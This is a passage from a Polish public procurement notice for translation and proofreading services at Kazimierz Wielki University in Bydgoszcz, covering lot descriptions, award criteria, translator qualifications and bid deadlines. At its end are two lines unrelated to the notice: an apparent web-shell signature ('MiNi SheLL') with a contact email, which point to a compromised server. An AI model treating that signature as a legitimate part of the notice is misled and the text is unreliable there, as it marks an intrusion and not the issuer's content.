Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Przedmiotem zamówienia są sukcesywne usługi w zakresie tłumaczeń pisemnych i korekt językowych na potrzeby Uniwersytetu Kazimierza Wielkiego w Bydgoszczy. Szczegółowy opis przedmiotu zamówienia (OPZ) został określony w Załączniku nr 7 do SWZ, Formularzu cenowym stanowiącym Załącznik nr 2 do SWZ oraz w projekcie Umowy stanowiącym Załącznik nr 6 do SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> Zamawiający zastrzega sobie możliwość zastosowania prawa opcji, tj. możliwość rezygnacji z realizacji części przedmiotu zamówienia (nieudzielenie zamówień jednostkowych). Zakres przedmiotu zamówienia może być pomniejszony do 40% ogólnej ilości przewidywanych tłumaczeń. Zamawiający gwarantuje realizacje zamówień w 60%. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2021-12-31</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Dodatkowe doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 7</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Przedmiotem zamówienia są sukcesywne usługi w zakresie tłumaczeń pisemnych i korekt językowych na potrzeby Uniwersytetu Kazimierza Wielkiego w Bydgoszczy. Szczegółowy opis przedmiotu zamówienia (OPZ) został określony w Załączniku nr 7 do SWZ, Formularzu cenowym stanowiącym Załącznik nr 2 do SWZ oraz w projekcie Umowy stanowiącym Załącznik nr 6 do SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> Zamawiający zastrzega sobie możliwość zastosowania prawa opcji, tj. możliwość rezygnacji z realizacji części przedmiotu zamówienia (nieudzielenie zamówień jednostkowych). Zakres przedmiotu zamówienia może być pomniejszony do 40% ogólnej ilości przewidywanych tłumaczeń. Zamawiający gwarantuje realizacje zamówień w 60%. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2021-12-31</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Dodatkowe doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 8</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Przedmiotem zamówienia są sukcesywne usługi w zakresie tłumaczeń pisemnych i korekt językowych na potrzeby Uniwersytetu Kazimierza Wielkiego w Bydgoszczy. Szczegółowy opis przedmiotu zamówienia (OPZ) został określony w Załączniku nr 7 do SWZ, Formularzu cenowym stanowiącym Załącznik nr 2 do SWZ oraz w projekcie Umowy stanowiącym Załącznik nr 6 do SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> Zamawiający zastrzega sobie możliwość zastosowania prawa opcji, tj. możliwość rezygnacji z realizacji części przedmiotu zamówienia (nieudzielenie zamówień jednostkowych). Zakres przedmiotu zamówienia może być pomniejszony do 40% ogólnej ilości przewidywanych tłumaczeń. Zamawiający gwarantuje realizacje zamówień w 60%. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2021-12-31</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Dodatkowe doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 9</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Przedmiotem zamówienia są sukcesywne usługi w zakresie tłumaczeń pisemnych i korekt językowych na potrzeby Uniwersytetu Kazimierza Wielkiego w Bydgoszczy. Szczegółowy opis przedmiotu zamówienia (OPZ) został określony w Załączniku nr 7 do SWZ, Formularzu cenowym stanowiącym Załącznik nr 2 do SWZ oraz w projekcie Umowy stanowiącym Załącznik nr 6 do SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> Zamawiający zastrzega sobie możliwość zastosowania prawa opcji, tj. możliwość rezygnacji z realizacji części przedmiotu zamówienia (nieudzielenie zamówień jednostkowych). Zakres przedmiotu zamówienia może być pomniejszony do 40% ogólnej ilości przewidywanych tłumaczeń. Zamawiający gwarantuje realizacje zamówień w 60%. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2021-12-31</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Dodatkowe doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 10</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Przedmiotem zamówienia są sukcesywne usługi w zakresie tłumaczeń pisemnych i korekt językowych na potrzeby Uniwersytetu Kazimierza Wielkiego w Bydgoszczy. Szczegółowy opis przedmiotu zamówienia (OPZ) został określony w Załączniku nr 7 do SWZ, Formularzu cenowym stanowiącym Załącznik nr 2 do SWZ oraz w projekcie Umowy stanowiącym Załącznik nr 6 do SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> Zamawiający zastrzega sobie możliwość zastosowania prawa opcji, tj. możliwość rezygnacji z realizacji części przedmiotu zamówienia (nieudzielenie zamówień jednostkowych). Zakres przedmiotu zamówienia może być pomniejszony do 40% ogólnej ilości przewidywanych tłumaczeń. Zamawiający gwarantuje realizacje zamówień w 60%. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2021-10-31</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Dodatkowe doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.2.) Fakultatywne podstawy wykluczenia: </h3> <p class="mb-0">Art. 109 ust. 1 pkt 4</p> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> 4) zdolności technicznej lub zawodowej:Zamawiający uzna warunek za spełniony jeżeli Wykonawca dysponuje co najmniej jedną osobą która:dla części 1a) posiada znajomość języka angielskiego na poziomie C2 orazb) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie co najmniej 3 tłumaczenia pisemne z języka polskiego na język angielski tekstu naukowego z zakresu nauk humanistycznych o minimalnej liczbie 10 stron każdy, opublikowanych w formie wydrukowanej lub elektronicznej w czasopismach lub wydawnictwach (z dziedziny nauk humanistycznych) za minimum 20 pkt. z obowiązującego w 2021 roku Wykazu czasopism naukowych i recenzowanych materiałów z konferencji międzynarodowych* oraz Wykazu wydawnictw publikujących recenzowane monografie naukowe.dla części 2a) posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) orazb) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 2 tłumaczenia pisemne tekstu naukowego z języka polskiego na język angielski o minimalnej liczbie 5 stron każdy z zakresu informatyki i sztucznej inteligencji, opublikowanych w formie wydrukowanej lub elektronicznej w czasopismach z obowiązującego w 2021 roku Wykazu czasopism naukowych i recenzowanych materiałów z konferencji międzynarodowych* o Impact Factor (IF) powyżej 2*.dla części 3a) posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) orazb) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 2 tłumaczenia pisemne tekstu naukowego z języka polskiego na język angielski o minimalnej liczbie 5 stron każdy z zakresu informatyki, inżynierii mechanicznej, elektroniki, medycyny, opublikowanych w formie wydrukowanej lub elektronicznej w czasopismach z obowiązującego w 2021 roku Wykazu czasopism naukowych i recenzowanych materiałów z konferencji międzynarodowych* o Impact Factor (IF) powyżej 2*.dla części 4a) jest native speakerem**) posiadającym wykształcenie wyższe (stopień magistra lub jego odpowiednik) uzyskany w kraju anglojęzycznym, gdzie studia prowadzone były w języku angielskim orazb) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 2 tłumaczenia/korekty pisemne tekstu naukowego w języku angielskim o minimalnej liczbie 5 stron każdy z zakresu informatyki, inżynierii mechanicznej, elektroniki i medycyny w czasopismach opublikowanych w formie wydrukowanej lub elektronicznej . w czasopismach z obowiązującego w 2021 roku Wykazu czasopism naukowych i recenzowanych materiałów z konferencji międzynarodowych* o Impact Factor (IF) powyżej 2*.dla części nr 5 (BioRID6&8) a) posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) lub posiada znajomość języka angielskiego na poziomie C2 zgodnie ze skalą biegłości językowej wg Rady Europy (certyfikat uzyskany poprzez pozytywny wynik egzaminu językowego CPE (Certificate of Proficiency In English) lub składa oświadczenie o znajomości języka angielskiego na poziomie C2 orazb) posiada wykształcenie wyższe w zakresie nauk biologicznych orazc) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 3 tłumaczenia pisemne z języka polskiego na język angielski tekstu naukowego z zakresu biotechnologii, w szczególności z zakresu technologii fermentacji i/lub procesów biosyntezy, opublikowanych w formie elektronicznej lub wydrukowanej w czasopismach z obowiązującego w 2021 roku Wykazu czasopism naukowych i recenzowanych materiałów z konferencji międzynarodowych* o Impact Factor (IF) powyżej 3*. dla części nr 6 a) posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) orazb) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 5 tłumaczeń pisemnych z języka polskiego na język angielski tekstu naukowego z zakresu psychologii, o minimalnej liczbie 5 stron każdy, opublikowanych w formie wydrukowanej lub elektronicznej w czasopismach za minimum 10 pkt. w obowiązującym w 2021 roku Wykazie czasopism naukowych i recenzowanych materiałów z konferencji międzynarodowych*. dla części nr 7a) posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) orazb) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 3 tłumaczenia pisemne z języka polskiego na język angielski tekstu naukowego z zakresu psychologii, o minimalnej liczbie 5 stron każdy, opublikowanych w formie wydrukowanej lub elektronicznej w czasopismach (z dyscypliny psychologia) za minimum 20 pkt. w obowiązującym w 2021 roku Wykazie czasopism naukowych i recenzowanych materiałów z konferencji międzynarodowych*.dla części nr 8a) posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) orazb) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 3 tłumaczenia pisemne z języka polskiego na język angielski tekstu naukowego z zakresu psychologii, o minimalnej liczbie 5 stron każdy, opublikowanych w formie wydrukowanej lub elektronicznej w czasopismach (z dyscypliny psychologia) za minimum 20 pkt. w obowiązującym w 2021 roku Wykazie czasopism naukowych i recenzowanych materiałów z konferencji międzynarodowych*.dla części nr 9 a) posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) orazb) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 3 tłumaczenia pisemne z języka polskiego na język angielski tekstu naukowego z zakresu psychologii, o minimalnej liczbie 5 stron każdy, opublikowanych w formie wydrukowanej lub elektronicznej w czasopismach (z dyscypliny psychologia) za minimum 40 pkt. w obowiązującym w 2021 roku Wykazie czasopism naukowych i recenzowanych materiałów z konferencji międzynarodowych*.dla części 10w zakresie tłumaczeńa) posiadającym wykształcenie wyższe (stopień magistra lub jego odpowiednik) uzyskany w kraju anglojęzycznym, gdzie studia prowadzone były w języku angielskim orazb) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 3 tłumaczeń pisemnych języka polskiego na język angielski tekstów naukowego z zakresu geografii, w tym 1 artykuł z zakresu nauk o Ziemi i środowisku oraz 2 z zakresu geografii społeczno-ekonomicznej i gospodarki przestrzennej i/lub geografii turyzmu opublikowanych w formie wydrukowanej lub elektronicznej w czasopismach (z dziedziny nauk ścisłych i przyrodniczych) o IF większym lub równym 2 z obowiązującego w 2021 roku Wykazu czasopism naukowych i recenzowanych materiałów z konferencji międzynarodowych* oraz Wykazu wydawnictw publikujących recenzowane monografie naukowe.w zakresie korekta) jest native speakerem**) posiadającym wykształcenie wyższe (stopień magistra lub jego odpowiednik) uzyskany w kraju anglojęzycznym, gdzie studia prowadzone były w języku angielskim orazb) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 3 tłumaczeń pisemnych języka polskiego na język angielski tekstów naukowego z zakresu nauk o Ziemi i środowisku opublikowanych w formie wydrukowanej lub elektronicznej w (z dziedziny nauk ścisłych i przyrodniczych) o IF większym lub równym 2 z obowiązującego w 2021 roku Wykazu czasopism naukowych i recenzowanych materiałów z konferencji międzynarodowych* oraz Wykazu wydawnictw publikujących recenzowane monografie naukowe. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Tak</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> Zmiana postanowień umowy może nastąpić – pod rygorem nieważności - w formie pisemnego aneksu tylko w przypadkach przewidzianych w art. 455 ustawy Prawo zamówień publicznych. <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2021-03-26 10:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">Platforma zakupowa https://ukw.ezamawiajacy.pl</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2021-03-26 10:30</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2021-04-24</span></h3></main><footer hidden><table style="border-top: 1px solid black; width:100%"><tr><td>2021-03-16 Biuletyn Zamówień Publicznych</td><td style="text-align:right">Ogłoszenie o zamówieniu - Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy - Usługi</td></tr></table></footer>

Creat By MiNi SheLL
Email: jattceo@gmail.com